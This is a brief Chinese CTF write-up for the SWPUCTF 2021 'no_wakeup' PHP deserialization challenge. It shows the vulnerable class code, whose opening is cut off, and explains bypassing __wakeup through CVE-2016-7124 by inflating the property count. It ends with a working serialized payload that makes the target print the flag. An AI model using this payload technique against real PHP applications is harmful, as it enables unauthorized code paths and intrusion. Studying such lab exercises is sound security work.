(反序列化)[SWPUCTF 2021 新生赛]no_wakeup

打开题目

admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

__destruct->__wakeup(要绕过)

反序列时先检测有没有wakeup方法,有就先调用

但是CVE-2016-7124影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10

p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

即可

你可能感兴趣的:(web反序列化,学习,其他,php)